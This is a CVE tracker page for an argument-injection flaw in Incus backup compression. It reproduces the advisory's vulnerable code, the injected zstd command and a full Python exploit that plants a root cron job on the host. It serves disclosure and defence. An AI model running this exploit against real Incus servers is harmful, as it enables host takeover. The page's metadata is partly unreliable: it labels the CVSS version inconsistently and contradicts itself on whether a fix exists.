CVE-2026-48755

CRITICALPre-NVD 9.99.9
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Incus has an argument injection in backup compression algorithm leading to AFW and ACE

Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

Details

Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist:

fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
    return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])

Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:

args := []string{"-c"}
if len(fields) > 1 {
    args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile

With a value like:

zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

PoC

python3 poc.py \
	--insecure --url https://remote-incus:8443 \
	--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
	--instance c01 \
	--execute --yes-i-understand-this-writes-host-file

The following was generated by an LLM model.

#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.

Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:

zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce --

The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server. """

from __future__ import annotations

import argparse import json import os import shlex import sys import urllib.parse from pathlib import PurePosixPath from typing import Any

import requests

def q(value: str) -> str: return urllib.parse.quote(value, safe="")

def api(base: str, endpoint: str, **params: str) -> str: return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")

def project_instance(project: str, instance: str) -> str: return instance if project == "default" else f"{project}_{instance}"

def clean_guest_path(path: str) -> str: if not path.startswith("/"): raise ValueError("--guest-path must be absolute") if ".." in PurePosixPath(path).parts: raise ValueError("--guest-path must not contain '..'") return os.path.normpath("/" + path.lstrip("/")).lstrip("/")

def source_path(args: argparse.Namespace) -> str: if args.source_host_path: return args.source_host_path return os.path.join( args.incus_dir, "storage-pools", args.pool, args.storage_kind, project_instance(args.project, args.instance), "rootfs", clean_guest_path(args.guest_path), )

def cron(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()

def session(args: argparse.Namespace) -> requests.Session: s = requests.Session() s.verify = False if args.insecure else (args.cacert or True) if args.cert or args.key: s.cert = (args.cert, args.key) if args.token: s.headers["Authorization"] = "Bearer " + args.token s.headers["User-Agent"] = "incus-zstd-backup-rce-poc" if args.insecure: requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined] return s

def check(resp: requests.Response, what: str) -> requests.Response: if resp.status_code >= 400: try: detail: Any = resp.json() except Exception: detail = resp.text[:2048] raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}") return resp

def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path) headers = { "Content-Type": "application/octet-stream", "X-Incus-type": "file", "X-Incus-write": "overwrite", "X-Incus-uid": "0", "X-Incus-gid": "0", "X-Incus-mode": "0644", } print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}") check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")

def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project) print("[*] sending direct backup request") resp = s.post( url, data=json.dumps(body).encode(), headers={"Accept": "application/octet-stream", "Content-Type": "application/json"}, timeout=args.timeout, stream=True, ) print(f"[*] backup HTTP {resp.status_code}") resp.close() if resp.status_code >= 400: print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")

def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC") p.add_argument("--url", required=True, help="https://host:8443") p.add_argument("--cert", help="client certificate PEM") p.add_argument("--key", help="client private key PEM") p.add_argument("--cacert", help="CA certificate PEM") p.add_argument("--token", help="bearer token") p.add_argument("--insecure", action="store_true", help="disable TLS verification") p.add_argument("--timeout", type=int, default=180)

p.add_argument("--project", default="default") p.add_argument("--instance", required=True) p.add_argument("--pool", default="default") p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers") p.add_argument("--incus-dir", default="/var/lib/incus") p.add_argument("--guest-path", default="/incus-zstd-cron") p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload") p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce") p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")

p.add_argument("--execute", action="store_true", help="stage payload and send backup request") p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute") args = p.parse_args()

if urllib.parse.urlparse(args.url).scheme != "https": p.error("--url must use https") if bool(args.cert) != bool(args.key): p.error("--cert and --key must be supplied together") if args.execute and not args.yes_i_understand_this_writes_host_file: p.error("--execute requires --yes-i-understand-this-writes-host-file") try: clean_guest_path(args.guest_path) except ValueError as exc: p.error(str(exc))

args.url = args.url.rstrip("/") return args

def main() -> int: args = parse_args() src = source_path(args) payload = cron(args.command) compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}" body = {"compression_algorithm": compressor, "instance_only": True}

print("[*] target:", args.url) print("[*] project:", args.project) print("[*] instance:", args.instance) print("[*] source host path:", src) print("[*] cron path:", args.cron_path) print("[*] payload:", payload.decode().rstrip()) print("[*] backup body:", json.dumps(body, sort_keys=True))

if not args.execute: print("[*] dry run only; add --execute and the confirmation flag to act") return 0

s = session(args) upload(s, args, payload) trigger_backup(s, args, body) return 0

if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1)

Impact

Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution.

CVSS v3
9.9
EG Score
9.9(low)
EPSS
KEV
Not listed

Published

June 26, 2026

Last Modified

June 26, 2026

Vendor Advisories for CVE-2026-48755(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 41× in last 7d / 61× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 00:30 UTCEG score recompute
  2. 2026-07-06 20:25 UTCEG score recompute
  3. 2026-07-06 16:19 UTCEG score recompute
  4. 2026-07-06 12:12 UTCEG score recompute
  5. 2026-07-06 07:53 UTCEG score recompute
  6. 2026-07-06 03:48 UTCEG score recompute
  7. 2026-07-05 23:45 UTCEG score recompute
  8. 2026-07-05 19:41 UTCEG score recompute
  9. 2026-07-05 15:37 UTCEG score recompute
  10. 2026-07-05 11:31 UTCEG score recompute
  11. 2026-07-05 07:26 UTCEG score recompute
  12. 2026-07-05 03:20 UTCEG score recompute
  13. 2026-07-04 23:15 UTCEG score recompute
  14. 2026-07-04 19:11 UTCEG score recompute
  15. 2026-07-04 15:07 UTCEG score recompute
  16. 2026-07-04 11:04 UTCEG score recompute
  17. 2026-07-04 06:59 UTCEG score recompute
  18. 2026-07-04 02:43 UTCEG score recompute
  19. 2026-07-03 22:36 UTCEG score recompute
  20. 2026-07-03 18:33 UTCEG score recompute
  21. 2026-07-03 14:28 UTCEG score recompute
  22. 2026-07-03 10:25 UTCEG score recompute
  23. 2026-07-03 06:20 UTCEG score recompute
  24. 2026-07-03 02:16 UTCEG score recompute
  25. 2026-07-02 22:12 UTCEG score recompute
Show 36 more
  1. 2026-07-02 18:08 UTCEG score recompute
  2. 2026-07-02 14:04 UTCEG score recompute
  3. 2026-07-02 09:59 UTCEG score recompute
  4. 2026-07-02 05:55 UTCEG score recompute
  5. 2026-07-02 01:51 UTCEG score recompute
  6. 2026-07-01 21:47 UTCEG score recompute
  7. 2026-07-01 17:43 UTCEG score recompute
  8. 2026-07-01 13:40 UTCEG score recompute
  9. 2026-07-01 09:36 UTCEG score recompute
  10. 2026-07-01 05:32 UTCEG score recompute
  11. 2026-07-01 01:28 UTCEG score recompute
  12. 2026-06-30 21:24 UTCEG score recompute
  13. 2026-06-30 17:21 UTCEG score recompute
  14. 2026-06-30 13:15 UTCEG score recompute
  15. 2026-06-30 09:09 UTCEG score recompute
  16. 2026-06-30 05:05 UTCEG score recompute
  17. 2026-06-30 01:00 UTCEG score recompute
  18. 2026-06-29 20:56 UTCEG score recompute
  19. 2026-06-29 16:52 UTCEG score recompute
  20. 2026-06-29 12:48 UTCEG score recompute
  21. 2026-06-29 08:44 UTCEG score recompute
  22. 2026-06-29 04:39 UTCEG score recompute
  23. 2026-06-29 00:32 UTCEG score recompute
  24. 2026-06-28 20:29 UTCEG score recompute
  25. 2026-06-28 16:25 UTCEG score recompute
  26. 2026-06-28 12:21 UTCEG score recompute
  27. 2026-06-28 08:15 UTCEG score recompute
  28. 2026-06-28 04:12 UTCEG score recompute
  29. 2026-06-28 00:07 UTCEG score recompute
  30. 2026-06-27 20:03 UTCEG score recompute
  31. 2026-06-27 15:59 UTCEG score recompute
  32. 2026-06-27 11:55 UTCEG score recompute
  33. 2026-06-27 07:49 UTCEG score recompute
  34. 2026-06-27 03:45 UTCEG score recompute
  35. 2026-06-26 23:42 UTCEG score recompute
  36. 2026-06-26 19:37 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-48755?
CVE-2026-48755 is a critical vulnerability published on June 26, 2026. Incus has an argument injection in backup compression algorithm leading to AFW and ACE Summary Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to…
When was CVE-2026-48755 disclosed?
CVE-2026-48755 was first published in the National Vulnerability Database on June 26, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-48755?
CVE-2026-48755 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48755?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48755, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-48755

Explore →

Is Your Infrastructure Affected by CVE-2026-48755?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.